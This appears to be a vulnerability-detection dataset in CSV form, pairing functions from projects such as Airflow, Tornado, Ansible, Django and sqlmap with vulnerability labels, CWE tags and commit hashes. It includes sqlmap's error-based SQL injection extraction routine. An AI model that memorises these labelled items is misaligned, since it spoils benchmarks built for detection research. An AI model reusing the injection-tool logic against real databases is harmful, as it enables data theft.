
        #: Maximum number of redirects allowed. If the request exceeds this
        #: limit, a :class:`TooManyRedirects` exception is raised.
        #: This defaults to requests.models.DEFAULT_REDIRECT_LIMIT, which is
        #: 30.
        self.max_redirects = DEFAULT_REDIRECT_LIMIT

        #: Trust environment settings for proxy configuration, default
        #: authentication and similar.
        self.trust_env = True

        #: A CookieJar containing all currently outstanding cookies set on this
        #: session. By default it is a
        #: :class:`RequestsCookieJar <requests.cookies.RequestsCookieJar>`, but
        #: may be any other ``cookielib.CookieJar`` compatible object.
        self.cookies = cookiejar_from_dict({})

        # Default connection adapters.
        self.adapters = OrderedDict()
        self.mount('https://', HTTPAdapter())
        self.mount('http://', HTTPAdapter())

        # Only store 1000 redirects to prevent using infinite memory
        self.redirect_cache = RecentlyUsedContainer(REDIRECT_CACHE_SIZE)"
,UNKNOWN,UNKNOWN,tests/jobs/test_scheduler_job.py,1,"def test_scheduler_sets_job_id_on_dag_run(self):
        dag = DAG(dag_id='test_scheduler_sets_job_id_on_dag_run', start_date=DEFAULT_DATE)

        DummyOperator(
            task_id='dummy',
            dag=dag,
        )

        dagbag = DagBag(
            dag_folder=os.path.join(settings.DAGS_FOLDER, ""no_dags.py""),
            include_examples=False,
            read_dags_from_db=True,
        )
        dagbag.bag_dag(dag=dag, root_dag=dag)
        dagbag.sync_to_db()
        dag_model = DagModel.get_dagmodel(dag.dag_id)

        scheduler = SchedulerJob(executor=self.null_exec)
        scheduler.processor_agent = mock.MagicMock()

        with create_session() as session:
            scheduler._create_dag_runs([dag_model], session)

        assert dag.get_last_dagrun().creating_job_id == scheduler.id",CWE-703,apache/airflow,253d20ad1cdfd3559daa0ea1f2525bcefb3c1b46,"def test_scheduler_sets_job_id_on_dag_run(self):
        dag = DAG(dag_id='test_scheduler_sets_job_id_on_dag_run', start_date=DEFAULT_DATE)

        DummyOperator(
            task_id='dummy',
            dag=dag,
        )

        dagbag = DagBag(
            dag_folder=os.path.join(settings.DAGS_FOLDER, ""no_dags.py""),
            include_examples=False,
            read_dags_from_db=True,
        )
        dagbag.bag_dag(dag=dag, root_dag=dag)
        dagbag.sync_to_db()
        dag_model = DagModel.get_dagmodel(dag.dag_id)

        scheduler = SchedulerJob(executor=self.null_exec)
        scheduler.processor_agent = mock.MagicMock()

        with create_session() as session:
            scheduler._create_dag_runs([dag_model], session)

        assert dag.get_last_dagrun().creating_job_id == scheduler.id"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/auth.py,0,"def get_authenticated_user(self, redirect_uri, code, callback):
        """"""Handles the login for the Google user, returning a user object.

        Example usage::

            class GoogleOAuth2LoginHandler(LoginHandler, tornado.auth.GoogleOAuth2Mixin):
                @tornado.web.asynchronous
                @tornado.gen.coroutine
                def get(self):
                    if self.get_argument(""code"", False):
                        user = yield self.get_authenticated_user(
                            redirect_uri='http://your.site.com/auth/google',
                            code=self.get_argument(""code""))
                        # Save the user with e.g. set_secure_cookie
                    else:
                        yield self.authorize_redirect(
                            redirect_uri='http://your.site.com/auth/google',
                            client_id=self.settings[""google_consumer_key""],
                            scope=['openid', 'email'],
                            response_type='code',
                            extra_params={""approval_prompt"": ""auto""})
        """"""
        http = self.get_auth_http_client()
        body = urllib_parse.urlencode({
            ""redirect_uri"": redirect_uri,
            ""code"": code,
            ""client_id"": self.settings[self._OAUTH_SETTINGS_KEY]['key'],
            ""client_secret"": self.settings[self._OAUTH_SETTINGS_KEY]['secret'],
            ""grant_type"": ""authorization_code"",
        })

        http.fetch(self._OAUTH_ACCESS_TOKEN_URL,
                   self.async_callback(self._on_access_token, callback),
                   method=""POST"", headers={'Content-Type': 'application/x-www-form-urlencoded'}, body=body)",CWE-Unknown,tornadoweb/tornado,b2b83348973c2666189afc4f0d7ccc05e3832a03,"def get_authenticated_user(self, redirect_uri, code, callback):
        """"""Handles the login for the Google user, returning a user object.

        Example usage::

            class GoogleOAuth2LoginHandler(LoginHandler, tornado.auth.GoogleOAuth2Mixin):
                @tornado.web.asynchronous
                @tornado.gen.coroutine
                def get(self):
                    if self.get_argument(""code"", False):
                        user = yield self.get_authenticated_user(
                            redirect_uri='http://your.site.com/auth/google',
                            code=self.get_argument(""code""))
                        # Save the user with e.g. set_secure_cookie
                    else:
                        yield self.authorize_redirect(
                            redirect_uri='http://your.site.com/auth/google',
                            client_id=self.settings[""google_consumer_key""],
                            scope=['openid', 'email'],
                            response_type='code',
                            extra_params={""approval_prompt"": ""auto""})
        """"""
        http = self.get_auth_http_client()
        body = urllib_parse.urlencode({
            ""redirect_uri"": redirect_uri,
            ""code"": code,
            ""client_id"": self.settings[self._OAUTH_SETTINGS_KEY]['key'],
            ""client_secret"": self.settings[self._OAUTH_SETTINGS_KEY]['secret'],
            ""grant_type"": ""authorization_code"",
        })

        http.fetch(self._OAUTH_ACCESS_TOKEN_URL,
                  self.async_callback(self._on_access_token, callback),
                  method=""POST"", headers={'Content-Type': 'application/x-www-form-urlencoded'}, body=body)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/error/use.py,0,"def errorUse(expression, expected=None, resumeValue=True, dump=False):
    """"""
    Retrieve the output of a SQL query taking advantage of the error-based
    SQL injection vulnerability on the affected parameter.
    """"""

    initTechnique(PAYLOAD.TECHNIQUE.ERROR)

    global reqCount

    count = None
    start = time.time()
    startLimit = 0
    stopLimit = None
    outputs = []
    untilLimitChar = None
    untilOrderChar = None
    reqCount = 0

    if resumeValue:
        output = resume(expression, None)
    else:
        output = None

    if output and (expected is None or (expected == EXPECTED.INT and output.isdigit())):
        return output

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)

    # We have to check if the SQL query might return multiple entries
    # and in such case forge the SQL limiting the query output one
    # entry per time
    # NOTE: I assume that only queries that get data from a table can
    # return multiple entries
    if (dump and (conf.limitStart or conf.limitStop)) or ("" FROM "" in \
       expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_TABLE) \
       or (Backend.getIdentifiedDbms() in FROM_TABLE and not \
       expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \
       and ""EXISTS("" not in expression.upper() and (""(CASE"" not in expression.upper() or (""(CASE"" in expression.upper() and ""WHEN use"" in expression))):

        limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
        topLimit = re.search(""TOP\s+([\d]+)\s+"", expression, re.I)

        if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                if limitGroupStart.isdigit():
                    startLimit = int(limitRegExp.group(int(limitGroupStart)))

                stopLimit = limitRegExp.group(int(limitGroupStop))
                limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                if limitRegExp:
                    limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                    limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1
                elif topLimit:
                    startLimit = 0
                    stopLimit = int(topLimit.group(1))
                    limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
                limitCond = False
        else:
            limitCond = True

        # I assume that only queries NOT containing a ""LIMIT #, 1""
        # (or similar depending on the back-end DBMS) can return
        # multiple entries
        if limitCond:
            if limitRegExp:
                stopLimit = int(stopLimit)

                # From now on we need only the expression until the "" LIMIT ""
                # (or similar, depending on the back-end DBMS) word
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    stopLimit += startLimit
                    untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
                    expression = expression[:untilLimitChar]

                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                    stopLimit += startLimit
            elif dump:
                if conf.limitStart:
                    startLimit = conf.limitStart
                if conf.limitStop:
                    stopLimit = conf.limitStop

            # Count the number of SQL query entries output
            countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
            countedExpression = expression.replace(expressionFields, countFirstField, 1)

            if re.search("" ORDER BY "", expression, re.I):
                untilOrderChar = countedExpression.index("" ORDER BY "")
                countedExpression = countedExpression[:untilOrderChar]

            count = resume(countedExpression, None)

            if not count or not count.isdigit():
                _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
                count = __oneShotErrorUse(countedExpression, countedExpressionFields)

            if (not count or (count.isdigit() and int(count) == 0)):
                warnMsg = ""it was not possible to count the number ""
                warnMsg += ""of entries for the used SQL query. ""
                warnMsg += ""sqlmap will assume that it returns only ""
                warnMsg += ""one entry""
                logger.warn(warnMsg)

                stopLimit = 1
            elif isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    infoMsg = ""the SQL query used returns ""
                    infoMsg += ""%d entries"" % stopLimit
                    logger.info(infoMsg)

            try:
                for num in xrange(startLimit, stopLimit):
                    output = __errorFields(expression, expressionFields, expressionFieldsList, expected, num, resumeValue)

                    if output and isinstance(output, list) and len(output) == 1:
                        output = output[0]

                    outputs.append(output)

            except KeyboardInterrupt:
                print
                warnMsg = ""Ctrl+C detected in dumping phase""
                logger.warn(warnMsg)

    if not outputs:
        outputs = __errorFields(expression, expressionFields, expressionFieldsList)

    if outputs and isinstance(outputs, list) and len(outputs) == 1 and isinstance(outputs[0], basestring):
        outputs = outputs[0]

    duration = calculateDeltaSeconds(start)

    debugMsg = ""performed %d queries in %d seconds"" % (reqCount, duration)
    logger.debug(debugMsg)

    return outputs",,sqlmapproject/sqlmap,3cb0ca4b6381f85b6cbf9540d0c3aa0d0f86a048,"def errorUse(expression, expected=None, resumeValue=True, dump=False):
    """"""
    Retrieve the output of a SQL query taking advantage of the error-based
    SQL injection vulnerability on the affected parameter.
    """"""

    initTechnique(PAYLOAD.TECHNIQUE.ERROR)

    global reqCount

    count = None
    start = time.time()
    startLimit = 0
    stopLimit = None
    outputs = []
    untilLimitChar = None
    untilOrderChar = None
    reqCount = 0

    if resumeValue:
        output = resume(expression, None)
    else:
        output = None

    if output and (expected is None or (expected == EXPECTED.INT and output.isdigit())):
        return output

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)

    # We have to check if the SQL query might return multiple entries
    # and in such case forge the SQL limiting the query output one
    # entry per time
    # NOTE: I assume that only queries that get data from a table can
    # return multiple entries
    if (dump and (conf.limitStart or conf.limitStop)) or ("" FROM "" in \
       expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_TABLE) \
       or (Backend.getIdentifiedDbms() in FROM_TABLE and not \
       expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \
       and ""EXISTS("" not in expression.upper() and ""(CASE"" not in expression.upper()):

        limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
        topLimit = re.search(""TOP\s+([\d]+)\s+"", expression, re.I)

        if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                if limitGroupStart.isdigit():
                    startLimit = int(limitRegExp.group(int(limitGroupStart)))

                stopLimit = limitRegExp.group(int(limitGroupStop))
                limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                if limitRegExp:
                    limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                    limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1
                elif topLimit:
                    startLimit = 0
                    stopLimit = int(topLimit.group(1))
                    limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
                limitCond = False
        else:
            limitCond = True

        # I assume that only queries NOT containing a ""LIMIT #, 1""
        # (or similar depending on the back-end DBMS) can return
        # multiple entries
        if limitCond:
            if limitRegExp:
                stopLimit = int(stopLimit)

                # From now on we need only the expression until the "" LIMIT ""
                # (or similar, depending on the back-end DBMS) word
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    stopLimit += startLimit
                    untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
                    expression = expression[:untilLimitChar]

                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                    stopLimit += startLimit
            elif dump:
                if conf.limitStart:
                    startLimit = conf.limitStart
                if conf.limitStop:
                    stopLimit = conf.limitStop

            # Count the number of SQL query entries output
            countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
            countedExpression = expression.replace(expressionFields, countFirstField, 1)

            if re.search("" ORDER BY "", expression, re.I):
                untilOrderChar = countedExpression.index("" ORDER BY "")
                countedExpression = countedExpression[:untilOrderChar]

            count = resume(countedExpression, None)

            if not count or not count.isdigit():
                _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
                count = __oneShotErrorUse(countedExpression, countedExpressionFields)

            if (not count or (count.isdigit() and int(count) == 0)):
                warnMsg = ""it was not possible to count the number ""
                warnMsg += ""of entries for the used SQL query. ""
                warnMsg += ""sqlmap will assume that it returns only ""
                warnMsg += ""one entry""
                logger.warn(warnMsg)

                stopLimit = 1
            elif isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    infoMsg = ""the SQL query used returns ""
                    infoMsg += ""%d entries"" % stopLimit
                    logger.info(infoMsg)

            try:
                for num in xrange(startLimit, stopLimit):
                    output = __errorFields(expression, expressionFields, expressionFieldsList, expected, num, resumeValue)

                    if output and isinstance(output, list) and len(output) == 1:
                        output = output[0]

                    outputs.append(output)

            except KeyboardInterrupt:
                print
                warnMsg = ""Ctrl+C detected in dumping phase""
                logger.warn(warnMsg)

    if not outputs:
        outputs = __errorFields(expression, expressionFields, expressionFieldsList)

    if outputs and isinstance(outputs, list) and len(outputs) == 1 and isinstance(outputs[0], basestring):
        outputs = outputs[0]

    duration = calculateDeltaSeconds(start)

    debugMsg = ""performed %d queries in %d seconds"" % (reqCount, duration)
    logger.debug(debugMsg)

    return outputs"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/nxos/nxos_vpc_interface.py,0,"def get_commands_to_config_vpc_interface(portchannel, delta, config_value, existing):
    commands = []

    if not delta.get('peer-link') and existing.get('peer-link'):
        commands.append('no vpc peer-link')
        commands.insert(0, 'interface port-channel{0}'.format(portchannel))

    elif delta.get('peer-link') and not existing.get('peer-link'):
        commands.append('vpc peer-link')
        commands.insert(0, 'interface port-channel{0}'.format(portchannel))

    elif delta.get('vpc') and not existing.get('vpc'):
        command = 'vpc {0}'.format(config_value)
        commands.append(command)
        commands.insert(0, 'interface port-channel{0}'.format(portchannel))

    return commands",,ansible/ansible,c9e0ce1d7dc5f9764a862f4e414fa6b78d7e10fa,"def get_commands_to_config_vpc_interface(portchannel, delta, config_value, existing):
    commands = []

    if delta.get('peer-link') is False and existing.get('peer-link') is True:
        command = 'no vpc peer-link'
        commands.append('no vpc peer-link')
        commands.insert(0, 'interface port-channel{0}'.format(portchannel))

    elif delta.get('peer-link') or not existing.get('vpc'):
        command = 'vpc {0}'.format(config_value)
        commands.append(command)
        commands.insert(0, 'interface port-channel{0}'.format(portchannel))

    return commands"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/view_tests/tests/test_i18n.py,0,"def test_i18n_fallback_language_plural(self):
        """"""
        The fallback to a language with less plural forms maintains the real
        language's number of plural forms and correct translations.
        """"""
        with self.settings(LANGUAGE_CODE='pt'), override('ru'):
            response = self.client.get('/jsi18n/')
            self.assertEqual(
                response.context['catalog']['{count} plural3'],
                ['{count} plural3 p3', '{count} plural3 p3s', '{count} plural3 p3t']
            )
            self.assertEqual(
                response.context['catalog']['{count} plural2'],
                ['{count} plural2', '{count} plural2s', '']
            )
        with self.settings(LANGUAGE_CODE='ru'), override('pt'):
            response = self.client.get('/jsi18n/')
            self.assertEqual(
                response.context['catalog']['{count} plural3'],
                ['{count} plural3', '{count} plural3s']
            )
            self.assertEqual(
                response.context['catalog']['{count} plural2'],
                ['{count} plural2', '{count} plural2s']
            )",CWE-Unknown,django/django,2cbb095bec757b804e8b6d9d0930ef3c6446a591,"def test_i18n_fallback_language_plural(self):
        """"""
        The fallback to a language with less plural forms maintains the real
        language's number of plural forms.
        """"""
        with self.settings(LANGUAGE_CODE='pt'), override('ru'):
            response = self.client.get('/jsi18n/')
            self.assertEqual(
                response.context['catalog']['{count} plural3'],
                ['{count} plural3', '{count} plural3s', '{count} plural3 p3t']
            )"
,UNKNOWN,UNKNOWN,lib/ansible/modules/system/service.py,1,"def get_service_tools(self):

        paths = [ '/sbin', '/usr/sbin', '/bin', '/usr/bin' ]
        binaries = [ 'service', 'chkconfig', 'update-rc.d', 'rc-service', 'rc-update', 'initctl', 'systemctl', 'start', 'stop', 'restart', 'insserv' ]
        initpaths = [ '/etc/init.d' ]
        location = dict()

        for binary in binaries:
            location[binary] = self.module.get_bin_path(binary, opt_dirs=paths)

        for initdir in initpaths:
            initscript = ""%s/%s"" % (initdir,self.name)
            if os.path.isfile(initscript):
                self.svc_initscript = initscript

        def check_systemd():

            # tools must be installed
            if location.get('systemctl',False):

                # this should show if systemd is the boot init system
                # these mirror systemd's own sd_boot test http://www.freedesktop.org/software/systemd/man/sd_booted.html
                for canary in [""/run/systemd/system/"", ""/dev/.run/systemd/"", ""/dev/.systemd/""]:
                    if os.path.exists(canary):
                        return True

                # If all else fails, check if init is the systemd command, using comm as cmdline could be symlink
                try:
                    f = open('/proc/1/comm', 'r')
                except IOError:
                    # If comm doesn't exist, old kernel, no systemd
                    return False

                for line in f:
                    if 'systemd' in line:
                        return True

            return False

        # Locate a tool to enable/disable a service
        if check_systemd():
            # service is managed by systemd
            self.__systemd_unit = self.name
            self.svc_cmd = location['systemctl']
            self.enable_cmd = location['systemctl']

        elif location.get('initctl', False) and os.path.exists(""/etc/init/%s.conf"" % self.name):
            # service is managed by upstart
            self.enable_cmd = location['initctl']
            # set the upstart version based on the output of 'initctl version'
            self.upstart_version = LooseVersion('0.0.0')
            try:
                version_re = re.compile(r'\(upstart (.*)\)')
                rc,stdout,stderr = self.module.run_command('initctl version')
                if rc == 0:
                    res = version_re.search(stdout)
                    if res:
                        self.upstart_version = LooseVersion(res.groups()[0])
            except:
                pass  # we'll use the default of 0.0.0

            if location.get('start', False):
                # upstart -- rather than being managed by one command, start/stop/restart are actual commands
                self.svc_cmd = ''

        elif location.get('rc-service', False):
            # service is managed by OpenRC
            self.svc_cmd = location['rc-service']
            self.enable_cmd = location['rc-update']
            return # already have service start/stop tool too!

        elif self.svc_initscript:
            # service is managed by with SysV init scripts
            if location.get('update-rc.d', False):
                # and uses update-rc.d
                self.enable_cmd = location['update-rc.d']
            elif location.get('insserv', None):
                # and uses insserv
                self.enable_cmd = location['insserv']
            elif location.get('chkconfig', False):
                # and uses chkconfig
                self.enable_cmd = location['chkconfig']

        if self.enable_cmd is None:
            # exiting without change on non-existent service
            self.module.exit_json(changed=False, exists=False)

        # If no service control tool selected yet, try to see if 'service' is available
        if self.svc_cmd is None and location.get('service', False):
            self.svc_cmd = location['service']

        # couldn't find anything yet
        if self.svc_cmd is None and not self.svc_initscript:
            self.module.exit_json(changed=False, exists=False)

        if location.get('initctl', False):
            self.svc_initctl = location['initctl']",CWE-703,ansible/ansible,d2cffb31c3c17c23789a029138371991b17607d5,"def get_service_tools(self):

        paths = [ '/sbin', '/usr/sbin', '/bin', '/usr/bin' ]
        binaries = [ 'service', 'chkconfig', 'update-rc.d', 'rc-service', 'rc-update', 'initctl', 'systemctl', 'start', 'stop', 'restart', 'insserv' ]
        initpaths = [ '/etc/init.d' ]
        location = dict()

        for binary in binaries:
            location[binary] = self.module.get_bin_path(binary)

        for initdir in initpaths:
            initscript = ""%s/%s"" % (initdir,self.name)
            if os.path.isfile(initscript):
                self.svc_initscript = initscript

        def check_systemd():
            return os.path.exists(""/run/systemd/system/"") or os.path.exists(""/dev/.run/systemd/"") or os.path.exists(""/dev/.systemd/"")

        # Locate a tool to enable/disable a service
        if location.get('systemctl',False) and check_systemd():
            # service is managed by systemd
            self.__systemd_unit = self.name
            self.svc_cmd = location['systemctl']
            self.enable_cmd = location['systemctl']

        elif location.get('initctl', False) and os.path.exists(""/etc/init/%s.conf"" % self.name):
            # service is managed by upstart
            self.enable_cmd = location['initctl']
            # set the upstart version based on the output of 'initctl version'
            self.upstart_version = LooseVersion('0.0.0')
            try:
                version_re = re.compile(r'\(upstart (.*)\)')
                rc,stdout,stderr = self.module.run_command('initctl version')
                if rc == 0:
                    res = version_re.search(stdout)
                    if res:
                        self.upstart_version = LooseVersion(res.groups()[0])
            except:
                pass  # we'll use the default of 0.0.0

            if location.get('start', False):
                # upstart -- rather than being managed by one command, start/stop/restart are actual commands
                self.svc_cmd = ''

        elif location.get('rc-service', False):
            # service is managed by OpenRC
            self.svc_cmd = location['rc-service']
            self.enable_cmd = location['rc-update']
            return # already have service start/stop tool too!

        elif self.svc_initscript:
            # service is managed by with SysV init scripts
            if location.get('update-rc.d', False):
                # and uses update-rc.d
                self.enable_cmd = location['update-rc.d']
            elif location.get('insserv', None):
                # and uses insserv
                self.enable_cmd = location['insserv']
            elif location.get('chkconfig', False):
                # and uses chkconfig
                self.enable_cmd = location['chkconfig']

        if self.enable_cmd is None:
            # exiting without change on non-existent service
            self.module.exit_json(changed=False, exists=False)

        # If no service control tool selected yet, try to see if 'service' is available
        if self.svc_cmd is None and location.get('service', False):
            self.svc_cmd = location['service']

        # couldn't find anything yet
        if self.svc_cmd is None and not self.svc_initscript:
            self.module.exit_json(changed=False, exists=False)

        if location.get('initctl', False):
            self.svc_initctl = location['initctl']"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/serverextensions.py,0,"def toggle_serverextension_python(import_name, enabled=None, parent=None,
                                  user=True, sys_prefix=False, logger=None):
    """"""Toggle a server extension.

    By default, toggles the extension in the system-wide Jupyter configuration
    location (e.g. /usr/local/etc/jupyter).

    Parameters
    ----------

    import_name : str
        Importable Python module (dotted-notation) exposing the magic-named
        `load_jupyter_server_extension` function
    enabled : bool [default: None]
        Toggle state for the extension.  Set to None to toggle, True to enable,
        and False to disable the extension.
    parent : Configurable [default: None]
    user : bool [default: True]
        Toggle in the user's configuration location (e.g. ~/.jupyter).
    sys_prefix : bool [default: False]
        Toggle in the current Python environment's configuration location
        (e.g. ~/.envs/my-env/etc/jupyter).
    logger : Jupyter logger [optional]
        Logger instance to use
    """"""
    config_dir = _get_config_dir(user=user, sys_prefix=sys_prefix)
    cm = BaseJSONConfigManager(parent=parent, config_dir=config_dir)
    cfg = cm.get(""jupyter_notebook_config"")
    server_extensions = (
        cfg.setdefault(""NotebookApp"", {})
        .setdefault(""nbserver_extensions"", {})
    )

    old_enabled = server_extensions.get(import_name, None)
    new_enabled = enabled if enabled is not None else not old_enabled

    if logger:
        if new_enabled:
            logger.info(u""Enabling: %s"" % (import_name))
        else:
            logger.info(u""Disabling: %s"" % (import_name))

    server_extensions[import_name] = new_enabled

    if logger:
        logger.info(u""- Writing config: {}"".format(config_dir))

    cm.update(""jupyter_notebook_config"", cfg)

    if new_enabled:
        validate_serverextension(import_name, logger)",,jupyter/notebook,e617cd2c0fa460e5afa633e655fac0b3ae88073a,"def toggle_serverextension_python(import_name, enabled=None, parent=None,
                                  user=True, sys_prefix=False, logger=None):
    """"""Toggle a server extension.

    By default, toggles the extension in the system-wide Jupyter configuration
    location (e.g. /usr/local/etc/jupyter).

    Parameters
    ----------

    import_name : str
        Importable Python module (dotted-notation) exposing the magic-named
        `load_jupyter_server_extension` function
    enabled : bool [default: None]
        Toggle state for the extension.  Set to None to toggle, True to enable,
        and False to disable the extension.
    parent : Configurable [default: None]
    user : bool [default: True]
        Toggle in the user's configuration location (e.g. ~/.jupyter).
    sys_prefix : bool [default: False]
        Toggle in the current Python environment's configuration location
        (e.g. ~/.envs/my-env/etc/jupyter).
    logger : Jupyter logger [optional]
        Logger instance to use
    """"""
    config_dir = _get_config_dir(user=user, sys_prefix=sys_prefix)
    cm = BaseJSONConfigManager(parent=parent, config_dir=config_dir)
    cfg = cm.get(""jupyter_notebook_config"")
    server_extensions = (
        cfg.setdefault(""NotebookApp"", {})
        .setdefault(""nbserver_extensions"", {})
    )

    old_enabled = server_extensions.get(import_name, None)
    new_enabled = enabled if enabled is not None else not old_enabled

    if logger:
        if new_enabled:
            logger.info(""Enabling: %s"" % (import_name))
        else:
            logger.info(""Disabling: %s"" % (import_name))

    server_extensions[import_name] = new_enabled

    if logger:
        logger.info(""- Writing config: {}"".format(config_dir))

    cm.update(""jupyter_notebook_config"", cfg)

    if new_enabled:
        validate_serverextension(import_name, logger)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/dc/form.py,0,"def get_variants(self, mode=""tmb""):
        """"""
        Generate all Form's variants by mode:
          ""all"" - all values
          ""tb"" - only top and bottom values
          ""tmb"" - top, middle and bottom values
          ""t"" - top values
          ""b"" - bottom values
        """"""

        if mode not in (""all"", ""tb"", ""tmb"", ""t"", ""b""):
            raise ValueError(""mode must be in ('all', 'tb', 'tmb', 't', 'b')"")

        yield self

        # Nothing to do
        if not self._selects:
            return

        secret_value = self._secret_value
        sel_names = self._selects.keys()
        matrix = self._selects.values()

        # Build self variant based on `sample_path`
        for sample_path in self._get_sample_paths(mode, matrix):
            # Clone self
            self_variant = self.copy()

            for row_index, col_index in enumerate(sample_path):
                sel_name = sel_names[row_index]
                try:
                    value = matrix[row_index][col_index]
                except IndexError:
                    """"""
                    This handles ""select"" tags that have no options inside.

                    The get_variants method should return a variant with the
                    select tag name that is always an empty string.

                    This case reported by Taras at
                    https://sourceforge.net/apps/trac/w3af/ticket/171015
                    """"""
                    value = ''

                if value != secret_value:
                    # FIXME: Needs to support repeated parameter names
                    self_variant[sel_name] = [value]
                else:
                    # FIXME: Is it solution good? Simply delete unwanted
                    #        send checkboxes?
                    #
                    # We might had removed it before
                    if self_variant.get(sel_name):
                        del self_variant[sel_name]

            yield self_variant",,andresriancho/w3af,16798973a33f2c2a0fb7d5eb1c3a1e5857429b98,"def get_variants(self, mode=""tmb""):
        """"""
        Generate all Form's variants by mode:
          ""all"" - all values
          ""tb"" - only top and bottom values
          ""tmb"" - top, middle and bottom values
          ""t"" - top values
          ""b"" - bottom values
        """"""

        if mode not in (""all"", ""tb"", ""tmb"", ""t"", ""b""):
            raise ValueError(""mode must be in ('all', 'tb', 'tmb', 't', 'b')"")

        yield self

        # Nothing to do
        if not self._selects:
            return

        secret_value = self._secret_value
        sel_names = self._selects.keys()
        matrix = self._selects.values()

        # Build self variant based on `sample_path`
        for sample_path in self._getSamplePaths(mode, matrix):
            # Clone self
            self_variant = self.copy()

            for row_index, col_index in enumerate(sample_path):
                sel_name = sel_names[row_index]
                try:
                    value = matrix[row_index][col_index]
                except IndexError:
                    """"""
                    This handles ""select"" tags that have no options inside.

                    The get_variants method should return a variant with the
                    select tag name that is always an empty string.

                    This case reported by Taras at
                    https://sourceforge.net/apps/trac/w3af/ticket/171015
                    """"""
                    value = ''

                if value != secret_value:
                    # FIXME: Needs to support repeated parameter names
                    self_variant[sel_name] = [value]
                else:
                    # FIXME: Is it solution good? Simply delete unwanted
                    #        send checkboxes?
                    #
                    # We might had removed it before
                    if self_variant.get(sel_name):
                        del self_variant[sel_name]

            yield self_variant"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_cli.py,0,"def test_tracking_uri_validation_sql_driver_uris(command):
    handlers._tracking_store = None
    handlers._model_registry_store = None
    with mock.patch(""mlflow.server._run_server"") as run_server_mock, mock.patch(
        ""mlflow.store.tracking.sqlalchemy_store.SqlAlchemyStore""
    ), mock.patch(""mlflow.store.model_registry.sqlalchemy_store.SqlAlchemyStore""):
        result = CliRunner().invoke(
            command,
            [
                ""--backend-store-uri"",
                ""mysql+pymysql://user:pwd@host:5432/mydb"",
                ""--default-artifact-root"",
                ""./mlruns"",
            ],
        )
        assert result.exit_code == 0
        run_server_mock.assert_called()",,mlflow/mlflow,1cd6f3d18a5e3c5469bfb1a4dcb292ffa3662333,"def test_tracking_uri_validation_sql_driver_uris(command):
    handlers._tracking_store = None
    handlers._model_registry_store = None
    with mock.patch(""mlflow.server._run_server"") as run_server_mock, mock.patch(
        ""mlflow.store.tracking.sqlalchemy_store.SqlAlchemyStore""
    ) as tracking_store_mock, mock.patch(
        ""mlflow.store.model_registry.sqlalchemy_store.SqlAlchemyStore""
    ) as registry_store_mock:
        CliRunner().invoke(
            command,
            [
                ""--backend-store-uri"",
                ""mysql+pymysql://user:pwd@host:5432/mydb"",
                ""--default-artifact-root"",
                ""./mlruns"",
            ],
        )
